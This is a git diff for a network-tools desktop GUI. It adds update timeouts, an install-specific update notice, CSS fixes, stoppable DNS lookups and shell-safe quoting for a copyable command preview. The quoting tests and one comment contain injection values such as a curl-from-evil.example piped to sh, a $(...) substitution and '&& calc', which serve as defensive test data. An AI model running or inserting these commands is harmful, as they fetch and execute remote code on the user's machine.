diff --git a/apps/netscli-gui/src/hooks/useReleaseNotifications.test.tsx b/apps/netscli-gui/src/hooks/useReleaseNotifications.test.tsx
index 2efd5555..16edf4c3 100644
--- a/apps/netscli-gui/src/hooks/useReleaseNotifications.test.tsx
+++ b/apps/netscli-gui/src/hooks/useReleaseNotifications.test.tsx
@@ -110,11 +110,26 @@ describe('useReleaseNotifications: which kind of notice', () => {
     const { result } = renderHook(() => useReleaseNotifications(options({ showUpdateToast })));
 
     await waitFor(() => expect(showUpdateToast).toHaveBeenCalledTimes(1));
-    expect(showUpdateToast.mock.calls[0]).toHaveLength(2); // no dialog flag
+    expect(showUpdateToast.mock.calls[0][2]).toBe(false); // does not open the dialog
     expect(checkForUpdate).not.toHaveBeenCalled();
     expect(result.current.pendingUpdate).toBeNull();
   });
 
+  it('says why an install cannot update itself', async () => {
+    // The backend computes a reason for exactly these installs. A Scoop copy
+    // told only "update available, view release" is invited to download an
+    // MSI over the top of the install Scoop manages.
+    const reason = 'Installed with Scoop, so update it there: scoop update netscli-gui';
+    vi.mocked(getInstallSupport).mockResolvedValue({ supported: false, reason });
+    vi.mocked(fetchLatestRelease).mockResolvedValue({ version: '0.4.0', url: 'https://github.com/fstubner/netscli/releases/tag/v0.4.0' });
+    const showUpdateToast = vi.fn();
+
+    renderHook(() => useReleaseNotifications(options({ showUpdateToast })));
+
+    await waitFor(() => expect(showUpdateToast).toHaveBeenCalledTimes(1));
+    expect(showUpdateToast.mock.calls[0][3]).toBe(reason);
+  });
+
   it('falls back to the link when latest.json cannot be fetched', async () => {
     // The window between a release going public and latest.json being
     // attached, or a release that shipped without one.
@@ -128,6 +143,8 @@ describe('useReleaseNotifications: which kind of notice', () => {
 
     await waitFor(() => expect(showUpdateToast).toHaveBeenCalledTimes(1));
     expect(showUpdateToast.mock.calls[0][0]).toBe('0.4.0');
+    // This install can update itself, so there is no reason to give.
+    expect(showUpdateToast.mock.calls[0][3]).toBeUndefined();
   });
 
   it('stays quiet about a version the user skipped', async () => {
diff --git a/apps/netscli-gui/src/hooks/useReleaseNotifications.ts b/apps/netscli-gui/src/hooks/useReleaseNotifications.ts
index 17efebaa..0e0a7f64 100644
--- a/apps/netscli-gui/src/hooks/useReleaseNotifications.ts
+++ b/apps/netscli-gui/src/hooks/useReleaseNotifications.ts
@@ -10,7 +10,7 @@ interface ReleaseNotificationOptions {
   appVersion: string;
   enabled: boolean;
   dismissToast: () => void;
-  showUpdateToast: (version: string, url: string, opensUpdateDialog?: boolean) => void;
+  showUpdateToast: (version: string, url: string, opensUpdateDialog?: boolean, note?: string) => void;
   toast: WorkspaceToast | null;
 }
 
@@ -74,11 +74,16 @@ export function useReleaseNotifications({
     // A notice with a link to the release page. What every install got
     // before in-app updates, and still what an install that cannot replace
     // itself gets -- or one that can, when latest.json is not reachable.
-    async function notifyWithLink() {
+    //
+    // `why` is what the install that cannot replace itself was told by the
+    // backend, such as "Installed with Scoop, so update it there". Without it
+    // the notice only invites a manual download, which is the one thing a
+    // Scoop install must not do.
+    async function notifyWithLink(why?: string | null) {
       const release = await fetchLatestRelease(controller.signal);
       if (cancelled || dismissed() === release.version) return;
       if (!isNewerVersion(release.version, appVersion)) return;
-      callbacks.current.showUpdateToast(release.version, release.url);
+      callbacks.current.showUpdateToast(release.version, release.url, false, why ?? undefined);
     }
 
     async function run() {
@@ -86,7 +91,7 @@ export function useReleaseNotifications({
       if (cancelled) return;
 
       if (!support.supported) {
-        await notifyWithLink();
+        await notifyWithLink(support.reason);
         return;
       }
 
diff --git a/apps/netscli-gui/src/services/updater.test.ts b/apps/netscli-gui/src/services/updater.test.ts
new file mode 100644
index 00000000..b092610c
--- /dev/null
+++ b/apps/netscli-gui/src/services/updater.test.ts
@@ -0,0 +1,38 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest';
+
+const check = vi.fn();
+vi.mock('@tauri-apps/plugin-updater', () => ({ check: (...args: unknown[]) => check(...args) }));
+vi.mock('@tauri-apps/plugin-process', () => ({ relaunch: vi.fn() }));
+vi.mock('@tauri-apps/api/core', () => ({ invoke: vi.fn() }));
+
+const { checkForUpdate, installUpdate } = await import('./updater');
+
+/**
+ * The plugin waits forever unless it is given a timeout, and the update dialog
+ * cannot be closed while an install runs. So a download that stalls is a modal
+ * the user can only leave by quitting the app. Nothing else in the suite
+ * notices if the timeouts are dropped: the dialog tests replace the install
+ * with a stub, and the plugin itself is never run.
+ */
+describe('update timeouts', () => {
+  beforeEach(() => {
+    check.mockReset();
+  });
+
+  it('gives the update check a deadline', async () => {
+    check.mockResolvedValue(null);
+    await checkForUpdate();
+    expect(check).toHaveBeenCalledTimes(1);
+    expect(check.mock.calls[0][0]?.timeout, 'the check was given no timeout').toBeGreaterThan(0);
+  });
+
+  it('gives the download a deadline', async () => {
+    const downloadAndInstall = vi.fn().mockResolvedValue(undefined);
+    await installUpdate({ downloadAndInstall } as never, () => {});
+    expect(downloadAndInstall).toHaveBeenCalledTimes(1);
+    expect(
+      downloadAndInstall.mock.calls[0][1]?.timeout,
+      'the download was given no timeout',
+    ).toBeGreaterThan(0);
+  });
+});
diff --git a/apps/netscli-gui/src/services/updater.ts b/apps/netscli-gui/src/services/updater.ts
index c05822a6..2dc7a5cf 100644
--- a/apps/netscli-gui/src/services/updater.ts
+++ b/apps/netscli-gui/src/services/updater.ts
@@ -32,6 +32,17 @@ export async function getInstallSupport(): Promise<InstallSupport> {
   }
 }
 
+// The plugin applies no timeout unless it is given one, and the update dialog
+// cannot be closed while an install runs. A transfer that stalls would
+// therefore leave a modal nobody can dismiss, so both calls get a deadline.
+//
+// These are limits on the whole request, not on silence between chunks, so the
+// download one must allow a slow connection to finish. The largest installer
+// is the Linux AppImage, 84 MB in 0.3.4. A deadline that passes ends in the
+// dialog's own "failed" state, which offers the release page.
+const CHECK_TIMEOUT_MS = 30 * 1000;
+const DOWNLOAD_TIMEOUT_MS = 10 * 60 * 1000;
+
 /**
  * Fetches latest.json from the newest release and returns the update if its
  * version is newer than this one. The plugin verifies nothing yet at this
@@ -39,7 +50,7 @@ export async function getInstallSupport(): Promise<InstallSupport> {
  * when the update is downloaded.
  */
 export function checkForUpdate(): Promise<Update | null> {
-  return check();
+  return check({ timeout: CHECK_TIMEOUT_MS });
 }
 
 /**
@@ -60,21 +71,24 @@ export async function installUpdate(
   let total: number | null = null;
   let received = 0;
 
-  await update.downloadAndInstall((event) => {
-    switch (event.event) {
-      case 'Started':
-        total = event.data.contentLength ?? null;
-        onProgress(total ? 0 : null);
-        break;
-      case 'Progress':
-        received += event.data.chunkLength;
-        onProgress(total ? Math.min(received / total, 1) : null);
-        break;
-      case 'Finished':
-        onProgress(1);
-        break;
-    }
-  });
+  await update.downloadAndInstall(
+    (event) => {
+      switch (event.event) {
+        case 'Started':
+          total = event.data.contentLength ?? null;
+          onProgress(total ? 0 : null);
+          break;
+        case 'Progress':
+          received += event.data.chunkLength;
+          onProgress(total ? Math.min(received / total, 1) : null);
+          break;
+        case 'Finished':
+          onProgress(1);
+          break;
+      }
+    },
+    { timeout: DOWNLOAD_TIMEOUT_MS },
+  );
 
   await relaunch();
 }
diff --git a/apps/netscli-gui/src/styles/error-boundary.css b/apps/netscli-gui/src/styles/error-boundary.css
index e531e25a..3cd317a2 100644
--- a/apps/netscli-gui/src/styles/error-boundary.css
+++ b/apps/netscli-gui/src/styles/error-boundary.css
@@ -4,15 +4,18 @@
    shell rather than styling anything inside it, and results.css was at its
    size cap with a note asking for exactly this kind of split. */
 
-/* Replaces the entire window when a render throws, so it carries its own
-   background rather than inheriting one from a shell that is no longer
-   mounted. */
+/* Replaces the entire window when a render throws. CrashScreen wraps it in a
+   `.container`, which is what supplies the colour tokens used below, and puts
+   the window frame above it, so it fills the rest of the window and scrolls
+   rather than being 100vh tall. */
 .error-boundary {
   display: flex;
+  flex: 1 1 auto;
   flex-direction: column;
   gap: 12px;
   align-items: flex-start;
-  min-height: 100vh;
+  min-height: 0;
+  overflow: auto;
   padding: 32px;
   color: var(--text-primary);
   background: var(--bg-body);
@@ -29,6 +32,22 @@
   color: var(--text-secondary);
 }
 
+/* Styled here like the dialogs' buttons. Nothing global styles a bare button,
+   so it was the browser's light grey face carrying the light text colour it
+   inherits from .container, which is unreadable. */
+.error-boundary button {
+  height: 30px;
+  padding: 0 11px;
+  border: 1px solid var(--border-strong);
+  border-radius: 4px;
+  background: var(--bg-input);
+  color: var(--text-primary);
+}
+
+.error-boundary button:hover {
+  background: var(--bg-selected);
+}
+
 .error-boundary-detail {
   max-width: 100%;
   margin: 0;
diff --git a/apps/netscli-gui/src/styles/shell/command-status.css b/apps/netscli-gui/src/styles/shell/command-status.css
index 78814912..e95b2f9e 100644
--- a/apps/netscli-gui/src/styles/shell/command-status.css
+++ b/apps/netscli-gui/src/styles/shell/command-status.css
@@ -176,6 +176,13 @@
   white-space: nowrap;
 }
 
+/* Persistent toasts are the update notice, which can carry a sentence saying
+   why this install cannot update itself, and errors. Cutting either off at the
+   first line would hide the part that matters. */
+.toast.persistent .toast-message {
+  white-space: normal;
+}
+
 .toast-action {
   color: var(--mint);
   font-size: 12px;
diff --git a/apps/netscli-gui/src/styles/shell/tabs.css b/apps/netscli-gui/src/styles/shell/tabs.css
index 1e69c7b5..d7a73024 100644
--- a/apps/netscli-gui/src/styles/shell/tabs.css
+++ b/apps/netscli-gui/src/styles/shell/tabs.css
@@ -180,6 +180,14 @@
   animation: spin 0.9s linear infinite;
 }
 
+/* The ring that does not turn still marks the tab as busy. The progress bar
+   already stops for this setting; the spinner did not. */
+@media (prefers-reduced-motion: reduce) {
+  .tab-spinner {
+    animation: none;
+  }
+}
+
 .add-tab-group {
   flex: 0 0 auto;
   position: relative;
diff --git a/apps/netscli-gui/src/styles/tokens.css b/apps/netscli-gui/src/styles/tokens.css
index 1d82844f..45884a82 100644
--- a/apps/netscli-gui/src/styles/tokens.css
+++ b/apps/netscli-gui/src/styles/tokens.css
@@ -162,6 +162,20 @@ pre {
   font-family: "Cascadia Code", "JetBrains Mono", Consolas, monospace;
 }
 
+/* Off screen but still read by a screen reader. Not `display: none` or
+   `visibility: hidden`, which take the text out of the accessibility tree. */
+.sr-only {
+  position: absolute;
+  width: 1px;
+  height: 1px;
+  margin: -1px;
+  padding: 0;
+  overflow: hidden;
+  clip: rect(0, 0, 0, 0);
+  white-space: nowrap;
+  border: 0;
+}
+
 .container :focus-visible {
   outline: 1px solid var(--focus-ring);
   outline-offset: 2px;
diff --git a/apps/netscli-gui/src/tools/presentation.commands.test.ts b/apps/netscli-gui/src/tools/presentation.commands.test.ts
new file mode 100644
index 00000000..318206a7
--- /dev/null
+++ b/apps/netscli-gui/src/tools/presentation.commands.test.ts
@@ -0,0 +1,50 @@
+import { describe, expect, it } from 'vitest';
+
+import { buildCommand } from './presentation';
+import { createTab } from './registry';
+
+// The command is shown in the strip, copied with its button and Ctrl+Shift+C,
+// and recorded in History. Every value in it comes from the form, and opening a
+// result bundle fills the form with whatever the file says. A host of
+// `1.1.1.1 && calc` used to be one click from the clipboard as a working
+// command.
+describe('buildCommand with values from an untrusted form', () => {
+  it('keeps a value with shell syntax in it to a single quoted argument', () => {
+    const scan = createTab('scan');
+    scan.form.host = '1.1.1.1; curl https://evil.example | sh';
+    expect(buildCommand(scan)).toBe('netscli scan "1.1.1.1; curl https://evil.example | sh" -p 22,80,443 --json');
+
+    const ping = createTab('ping');
+    ping.form.host = 'router.local';
+    ping.form.count = '4 && calc';
+    expect(buildCommand(ping)).toBe('netscli ping router.local --count "4 && calc" --json');
+  });
+
+  it('leaves out a value that no quoting makes safe', () => {
+    const scan = createTab('scan');
+    scan.form.host = '$(curl https://evil.example | sh)';
+    scan.form.ports = '80`id`';
+    expect(buildCommand(scan)).toBe('netscli scan <host> --json');
+
+    // A double quote ends the string in every shell, so it cannot be escaped
+    // for all of them. The value is dropped, as an empty one is.
+    const pcap = createTab('pcap');
+    pcap.form.interface = 'eth0';
+    pcap.form.filter = 'host "example"';
+    expect(buildCommand(pcap)).toBe('netscli pcap --interface eth0 --duration 10 --max-packets 1000 --json');
+  });
+
+  it('quotes a name with spaces so the preview stays paste-able', () => {
+    const pcap = createTab('pcap');
+    pcap.form.interface = 'vEthernet (WSL)';
+    expect(buildCommand(pcap)).toContain('--interface "vEthernet (WSL)"');
+  });
+
+  it('covers the mDNS service types, which are a list in one field', () => {
+    const mdns = createTab('mdns');
+    mdns.form.service_types = '_http._tcp, _ssh._tcp.local; calc';
+    expect(buildCommand(mdns)).toBe(
+      'netscli mdns --type _http._tcp --type "_ssh._tcp.local; calc" --json',
+    );
+  });
+});
diff --git a/apps/netscli-gui/src/tools/presentation.test.ts b/apps/netscli-gui/src/tools/presentation.test.ts
index b034f7c9..4519027f 100644
--- a/apps/netscli-gui/src/tools/presentation.test.ts
+++ b/apps/netscli-gui/src/tools/presentation.test.ts
@@ -114,13 +114,6 @@ describe('buildCommand', () => {
     scan.form.ports = '';
     expect(buildCommand(scan)).toBe('netscli scan router.local --json');
   });
-
-  it('escapes quotes in a capture filter so the preview stays paste-able', () => {
-    const pcap = createTab('pcap');
-    pcap.form.interface = 'eth0';
-    pcap.form.filter = 'host "example"';
-    expect(buildCommand(pcap)).toContain('--filter "host \\"example\\""');
-  });
 });
 
 describe('tabIdentity', () => {
diff --git a/apps/netscli-gui/src/tools/presentation/commands.ts b/apps/netscli-gui/src/tools/presentation/commands.ts
index 0c67f76c..e00cc820 100644
--- a/apps/netscli-gui/src/tools/presentation/commands.ts
+++ b/apps/netscli-gui/src/tools/presentation/commands.ts
@@ -1,6 +1,41 @@
 import { scanRequest } from '../scanRequest';
 import type { WorkspaceTab } from '../types';
 
+/** Characters that never need quoting in any shell. */
+const PLAIN = /^[\w@+=:,./-]+$/;
+
+/**
+ * Characters that cannot be quoted safely for every shell this might be pasted
+ * into. `$` and the backtick expand inside double quotes in bash and
+ * PowerShell, a `"` ends the string in all of them, `%` and `!` expand in cmd
+ * and bash, and a trailing backslash escapes the closing quote.
+ */
+const UNQUOTABLE = /[$`"%!\p{Cc}]|\\$/u;
+
+/**
+ * A form value as one argument of the copied command, or '' when it cannot be
+ * made one.
+ *
+ * The command is shown in the strip and copied from it, and every value in it
+ * comes from the form, which a shared result bundle can fill with anything. A
+ * host of `1.1.1.1; curl https://evil.example | sh` used to be one click from
+ * the clipboard as a working command. Now it comes out as a single quoted
+ * argument, and a value that cannot be quoted is left out like an empty one,
+ * so the command that is shown never contains anything a shell would act on.
+ */
+function arg(raw: string | undefined): string {
+  const value = raw?.trim() ?? '';
+  if (PLAIN.test(value)) return value;
+  if (!value || UNQUOTABLE.test(value)) return '';
+  return `"${value}"`;
+}
+
+/** ` --name value`, or nothing when there is no value to pass. */
+function flag(name: string, raw: string | undefined): string {
+  const value = arg(raw);
+  return value ? ` ${name} ${value}` : '';
+}
+
 export function buildCommand(tab: WorkspaceTab): string {
   const form = tab.form;
   switch (tab.kind) {
@@ -14,34 +49,36 @@ export function buildCommand(tab: WorkspaceTab): string {
       // menu recorded, and what got stored with the saved result.
     {
       const { ports, udp } = scanRequest(form);
-      return `netscli scan ${form.host || '<host>'}${ports ? ` -p ${ports}` : ''}${udp ? ' --udp' : ''} --json`;
+      return `netscli scan ${arg(form.host) || '<host>'}${flag('-p', ports)}${udp ? ' --udp' : ''} --json`;
     }
     case 'ping':
-      return `netscli ping ${form.host || '<host>'}${form.count ? ` --count ${form.count}` : ''} --json`;
+      return `netscli ping ${arg(form.host) || '<host>'}${flag('--count', form.count)} --json`;
     case 'trace': {
       const resolve = form.resolve === 'On' ? ' --resolve' : '';
-      return `netscli trace ${form.host || '<host>'}${form.max_hops ? ` --max-hops ${form.max_hops}` : ''}${resolve} --json`;
+      return `netscli trace ${arg(form.host) || '<host>'}${flag('--max-hops', form.max_hops)}${resolve} --json`;
+    }
+    case 'discover': {
+      const subnet = arg(form.subnet);
+      return `netscli discover${subnet ? ` ${subnet}` : ''} --resolve --json`;
     }
-    case 'discover':
-      return `netscli discover${form.subnet ? ` ${form.subnet}` : ''} --resolve --json`;
     case 'dns': {
-      const record = form.record && form.record !== 'ALL' ? ` --record ${form.record}` : '';
-      return `netscli dns ${form.host || '<host>'}${record} --json`;
+      const record = flag('--record', form.record === 'ALL' ? '' : form.record);
+      return `netscli dns ${arg(form.host) || '<host>'}${record} --json`;
     }
     case 'reverse':
-      return `netscli reverse ${form.ip || '<ip>'} --json`;
+      return `netscli reverse ${arg(form.ip) || '<ip>'} --json`;
     case 'inspect':
-      return `netscli inspect ${form.host || '<host>'}${form.ports ? ` -p ${form.ports}` : ''} --json`;
-    case 'sweep':
-      return `netscli sweep${form.subnet ? ` ${form.subnet}` : ''}${form.ports ? ` -p ${form.ports}` : ''} --resolve --json`;
+      return `netscli inspect ${arg(form.host) || '<host>'}${flag('-p', form.ports)} --json`;
+    case 'sweep': {
+      const subnet = arg(form.subnet);
+      return `netscli sweep${subnet ? ` ${subnet}` : ''}${flag('-p', form.ports)} --resolve --json`;
+    }
     case 'mdns': {
       const types = form.service_types
         ?.split(',')
-        .map((item) => item.trim())
-        .filter(Boolean)
-        .map((item) => ` --type ${item}`)
+        .map((item) => flag('--type', item))
         .join('') ?? '';
-      const timeout = form.timeout_ms && form.timeout_ms !== '3000' ? ` --timeout-ms ${form.timeout_ms}` : '';
+      const timeout = form.timeout_ms !== '3000' ? flag('--timeout-ms', form.timeout_ms) : '';
       return `netscli mdns${timeout}${types} --json`;
     }
     case 'interfaces':
@@ -50,19 +87,11 @@ export function buildCommand(tab: WorkspaceTab): string {
       return 'netscli arp --json';
     case 'pcap': {
       if (form.mode === 'Open File') {
-        return `netscli pcap --read <file>${form.max_packets ? ` --max-packets ${form.max_packets}` : ''} --json`;
+        return `netscli pcap --read <file>${flag('--max-packets', form.max_packets)} --json`;
       }
-      const parts = ['netscli pcap'];
-      if (form.interface) parts.push(`--interface ${form.interface}`);
-      if (form.duration) parts.push(`--duration ${form.duration}`);
-      // Escape quotes rather than interpolating raw: a BPF filter containing
-      // a double quote produced a preview that would not parse if pasted.
-      if (form.filter) parts.push(`--filter "${form.filter.replace(/"/g, '\\"')}"`);
-      if (form.max_packets) parts.push(`--max-packets ${form.max_packets}`);
       // The capture branch omitted --json while every other command here
       // includes it, so this one preview did not match what the app runs.
-      parts.push('--json');
-      return parts.join(' ');
+      return `netscli pcap${flag('--interface', form.interface)}${flag('--duration', form.duration)}${flag('--filter', form.filter)}${flag('--max-packets', form.max_packets)} --json`;
     }
   }
 }
diff --git a/apps/netscli-gui/src/tools/presentation/filterHints.ts b/apps/netscli-gui/src/tools/presentation/filterHints.ts
index 275e6c87..ab856705 100644
--- a/apps/netscli-gui/src/tools/presentation/filterHints.ts
+++ b/apps/netscli-gui/src/tools/presentation/filterHints.ts
@@ -29,7 +29,7 @@ const SAMPLE_FIELDS: Record<ToolKind, string[]> = {
   pcap: ['protocol', 'source', 'destination', 'info'],
 };
 
-export function filterHintsFor(tab: WorkspaceTab | undefined): FilterHints {
+export function filterHintsFor(tab: Pick<WorkspaceTab, 'kind' | 'result'> | undefined): FilterHints {
   if (!tab) {
     return {
       placeholder: 'filter results',
diff --git a/apps/netscli-gui/src/workspace/operations.test.ts b/apps/netscli-gui/src/workspace/operations.test.ts
index 801cc67f..54ee8925 100644
--- a/apps/netscli-gui/src/workspace/operations.test.ts
+++ b/apps/netscli-gui/src/workspace/operations.test.ts
@@ -101,6 +101,35 @@ describe('runWorkspaceTab op-id race guard', () => {
     expect(activeOps.current[tab.id]).toBeUndefined();
   });
 
+  it('tells a run made of several calls when it has been stopped', async () => {
+    // DNS Lookup "ALL" asks the backend ten times in a row. Stop only reaches
+    // the call in flight, so the loop has to be able to see it for itself.
+    const { executeTool } = await import('./toolExecution');
+    const activeOps = { current: {} as Record<string, string> };
+    const tab = createTab('dns');
+    tab.form.host = 'netscli.com';
+    const seen: boolean[] = [];
+    vi.mocked(executeTool).mockImplementation(async (_tab, _opId, _probes, isCurrent) => {
+      seen.push(isCurrent?.() ?? true);
+      delete activeOps.current[tab.id]; // what cancelWorkspaceTab does first
+      seen.push(isCurrent?.() ?? true);
+      return scanResult();
+    });
+
+    await runWorkspaceTab({
+      activeOps,
+      isTabActive: () => true,
+      maxConcurrentProbes: 256,
+      patchTab: vi.fn(),
+      persistentHistory: false,
+      setHistory: vi.fn(),
+      showToast: vi.fn(),
+      tab,
+    });
+
+    expect(seen).toEqual([true, false]);
+  });
+
   it('clears busy state and shows an error toast when execution fails', async () => {
     const { executeTool } = await import('./toolExecution');
     vi.mocked(executeTool).mockRejectedValue(new Error('boom'));
diff --git a/apps/netscli-gui/src/workspace/operations.ts b/apps/netscli-gui/src/workspace/operations.ts
index c3e5a256..3774f309 100644
--- a/apps/netscli-gui/src/workspace/operations.ts
+++ b/apps/netscli-gui/src/workspace/operations.ts
@@ -60,7 +60,12 @@ export async function runWorkspaceTab({
   });
 
   try {
-    const result = await executeTool(tab, opId, maxConcurrentProbes);
+    const result = await executeTool(
+      tab,
+      opId,
+      maxConcurrentProbes,
+      () => activeOps.current[tab.id] === opId,
+    );
     if (activeOps.current[tab.id] !== opId) return;
     patchTab(tab.id, {
       result,
diff --git a/apps/netscli-gui/src/workspace/toolExecution.test.ts b/apps/netscli-gui/src/workspace/toolExecution.test.ts
index 4725f4e8..09b47795 100644
--- a/apps/netscli-gui/src/workspace/toolExecution.test.ts
+++ b/apps/netscli-gui/src/workspace/toolExecution.test.ts
@@ -100,6 +100,26 @@ describe('executeTool DNS "ALL" aggregation', () => {
 
     await expect(executeTool(tab, 'op-4', 256)).rejects.toThrow(/cancelled/i);
   });
+
+  // Stop reaches a backend call that is in flight. Between two of the ten
+  // there is none, so a Stop that lands there cancelled nothing and the loop
+  // went on to ask for every record type that was left.
+  it('stops asking for record types once the run is no longer current', async () => {
+    const netscli = await import('../services/netscli');
+    let asked = 0;
+    vi.mocked(netscli.dnsLookup).mockImplementation(async () => {
+      asked += 1;
+      return [];
+    });
+
+    const tab = createTab('dns');
+    tab.form.host = 'netscli.com';
+    tab.form.record = 'ALL';
+
+    // Stopped after the third call has been made.
+    await expect(executeTool(tab, 'op-5', 256, () => asked < 3)).rejects.toThrow(/cancelled/i);
+    expect(asked).toBe(3);
+  });
 });
 
 // The mDNS timeout was the one numeric field sent to the backend without the
diff --git a/apps/netscli-gui/src/workspace/toolExecution.ts b/apps/netscli-gui/src/workspace/toolExecution.ts
index 62ed9510..0ae26bef 100644
--- a/apps/netscli-gui/src/workspace/toolExecution.ts
+++ b/apps/netscli-gui/src/workspace/toolExecution.ts
@@ -38,6 +38,9 @@ export async function executeTool(
   tab: WorkspaceTab,
   opId: string,
   maxConcurrentProbes: number,
+  /** False once this run has been stopped or replaced. Only a run made of
+   *  several backend calls one after another needs it. */
+  isCurrent: () => boolean = () => true,
 ): Promise<ToolResult> {
   if (!isTauri()) {
     throw new Error("Tauri backend not available. Run 'npm run tauri dev' to execute tools.");
@@ -77,7 +80,7 @@ export async function executeTool(
         ),
       };
     case 'dns':
-      return executeDns(tab, opId);
+      return executeDns(tab, opId, isCurrent);
     case 'reverse':
       return {
         kind: 'reverse',
@@ -157,7 +160,7 @@ function serviceTypes(value: string | undefined): string[] | undefined {
   return items && items.length > 0 ? items : undefined;
 }
 
-async function executeDns(tab: WorkspaceTab, opId: string): Promise<ToolResult> {
+async function executeDns(tab: WorkspaceTab, opId: string, isCurrent: () => boolean): Promise<ToolResult> {
   const host = tab.form.host.trim();
   const record = tab.form.record?.trim().toUpperCase();
 
@@ -171,7 +174,12 @@ async function executeDns(tab: WorkspaceTab, opId: string): Promise<ToolResult>
   const data: DnsRecord[] = [];
   const failures: string[] = [];
 
+  // The one run that makes several backend calls, one after another, under a
+  // single operation id. Stop reaches the call that is in flight, and between
+  // two calls there is none, so a Stop that lands there cancels nothing and
+  // the loop would go on to ask for the rest.
   for (const recordType of DNS_ALL_RECORDS) {
+    if (!isCurrent()) throw new Error('Operation cancelled');
     try {
       data.push(...await netscli.dnsLookup(host, recordType, opId));
     } catch (error) {
diff --git a/apps/netscli-gui/src/workspace/transfer.test.ts b/apps/netscli-gui/src/workspace/transfer.test.ts
index d892a9dc..59cd531b 100644
--- a/apps/netscli-gui/src/workspace/transfer.test.ts
+++ b/apps/netscli-gui/src/workspace/transfer.test.ts
@@ -1,6 +1,18 @@
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
 
-import { parseResultBundle, RESULT_BUNDLE_SCHEMA } from './transfer';
+import type { ResultColumn, ResultRow, WorkspaceTab } from '../tools/types';
+import { createTab } from '../tools/registry';
+import { downloadText } from './toolExecution';
+import {
+  exportCurrentResult,
+  exportSelectedRows,
+  parseResultBundle,
+  RESULT_BUNDLE_SCHEMA,
+} from './transfer';
+
+vi.mock('./toolExecution', () => ({
+  downloadText: vi.fn(() => Promise.resolve('saved')),
+}));
 
 function bundle(overrides: Record<string, unknown> = {}) {
   return {
@@ -51,9 +63,63 @@ describe('parseResultBundle', () => {
     expect(() => parseResultBundle(bundle({ result: { kind: 'scan', data: [] } }))).not.toThrow();
   });
 
+  // An array of objects passes every shape check, and then `buildRows` read
+  // `service.addresses.join` during render and the window went to the crash
+  // screen. Opening a shared bundle must not be able to do that.
+  it('rejects data the screen could not draw', () => {
+    const service = { service_type: '_http._tcp', hostname: 'a.local', port: 80, full_name: 'a' };
+    expect(() =>
+      parseResultBundle(bundle({ kind: 'mdns', result: { kind: 'mdns', data: [service] } })),
+    ).toThrow(/mdns is missing fields/i);
+
+    const whole = { ...service, addresses: ['192.168.1.5'] };
+    expect(() =>
+      parseResultBundle(bundle({ kind: 'mdns', result: { kind: 'mdns', data: [whole] } })),
+    ).not.toThrow();
+  });
+
   it('rejects pcap data without packets', () => {
     expect(() => parseResultBundle(bundle({ kind: 'pcap', result: { kind: 'pcap', data: {} } }))).toThrow(
       /pcap data must include packets/i,
     );
   });
 });
+
+// Excel decides a file's encoding from a byte-order mark, and reads a UTF-8
+// CSV without one in the legacy code page, so a device named "Felix’s iPhone"
+// came out as "Felix’s iPhone". Only files get the mark: the JSON exports
+// are for programs, where a mark in front of the text is a parse error.
+describe('CSV export', () => {
+  const BOM = String.fromCharCode(0xfeff);
+  const columns: ResultColumn[] = [{ key: 'name', label: 'Name' }];
+  const rows: ResultRow[] = [
+    { id: 'a', kind: 'mdns', data: { name: 'Felix’s iPhone' }, raw: {}, searchText: '' },
+  ];
+  const tab = { ...createTab('mdns'), result: { kind: 'mdns', data: [] } } as WorkspaceTab;
+
+  async function savedContent(save: (done: () => void) => void): Promise<string> {
+    vi.mocked(downloadText).mockClear();
+    await new Promise<void>((resolve) => save(resolve));
+    return vi.mocked(downloadText).mock.calls[0][2];
+  }
+
+  it('starts a saved CSV with a UTF-8 byte-order mark', async () => {
+    const all = await savedContent((done) =>
+      exportCurrentResult(tab, columns, rows, 'csv', done, done),
+    );
+    expect(all).toBe(`${BOM}Name\nFelix’s iPhone`);
+
+    const selected = await savedContent((done) =>
+      exportSelectedRows(tab, columns, rows, 'csv', done, done),
+    );
+    expect(selected).toBe(`${BOM}Name\nFelix’s iPhone`);
+  });
+
+  it('leaves JSON without one', async () => {
+    const json = await savedContent((done) =>
+      exportCurrentResult(tab, columns, rows, 'json', done, done),
+    );
+    expect(json.startsWith(BOM)).toBe(false);
+    expect(() => JSON.parse(json)).not.toThrow();
+  });
+});
diff --git a/apps/netscli-gui/src/workspace/transfer.ts b/apps/netscli-gui/src/workspace/transfer.ts
index 28cae850..2e74d29c 100644
--- a/apps/netscli-gui/src/workspace/transfer.ts
+++ b/apps/netscli-gui/src/workspace/transfer.ts
@@ -1,11 +1,20 @@
 import type { ToolKind, ResultColumn, ResultRow, WorkspaceTab } from '../tools/types';
 import type { ToolResult } from '../types/app';
-import { serializeRowsAsCsv } from '../tools/presentation';
+import { buildRows, resultSummary, serializeRowsAsCsv } from '../tools/presentation';
 import { TOOL_KINDS } from '../tools/registry';
 import { downloadText } from './toolExecution';
 
 export const RESULT_BUNDLE_SCHEMA = 'netscli.result.v1';
 
+/**
+ * Written first in a CSV file so Excel reads it as UTF-8. Excel takes the
+ * encoding from this mark, and on Windows a file without one is read in the
+ * legacy code page, so a name like "Felix’s iPhone" (the apostrophe is three
+ * bytes in UTF-8) turns into "Felix’s iPhone". Only what is saved to a file
+ * gets it. The command line's CSV is for pipes and has none.
+ */
+const CSV_BYTE_ORDER_MARK = '\uFEFF';
+
 export interface ResultBundle {
   schema: typeof RESULT_BUNDLE_SCHEMA;
   exportedAt: string;
@@ -41,7 +50,7 @@ export function exportCurrentResult(
   exportText(
     `netscli-${activeTab.kind}-${stamp}.csv`,
     'text/csv',
-    serializeRowsAsCsv(columns, rows),
+    CSV_BYTE_ORDER_MARK + serializeRowsAsCsv(columns, rows),
     'Exported CSV',
     onSuccess,
     onError,
@@ -83,6 +92,7 @@ export function parseResultBundle(value: unknown): ResultBundle {
     throw new Error('Result bundle kind does not match its result payload');
   }
   validateResultDataShape(bundle.kind, result.data);
+  rejectUndrawableResult(bundle.kind, bundle.result as ToolResult);
   return {
     schema: RESULT_BUNDLE_SCHEMA,
     exportedAt: typeof bundle.exportedAt === 'string' ? bundle.exportedAt : new Date().toISOString(),
@@ -121,7 +131,7 @@ export function exportSelectedRows(
   exportText(
     `netscli-${activeTab.kind}-selected-${stamp}.csv`,
     'text/csv',
-    serializeRowsAsCsv(columns, selectedRows),
+    CSV_BYTE_ORDER_MARK + serializeRowsAsCsv(columns, selectedRows),
     fallback,
     onSuccess,
     onError,
@@ -171,6 +181,25 @@ function isToolKind(value: string): value is ToolKind {
   return (TOOL_KINDS as readonly string[]).includes(value);
 }
 
+/**
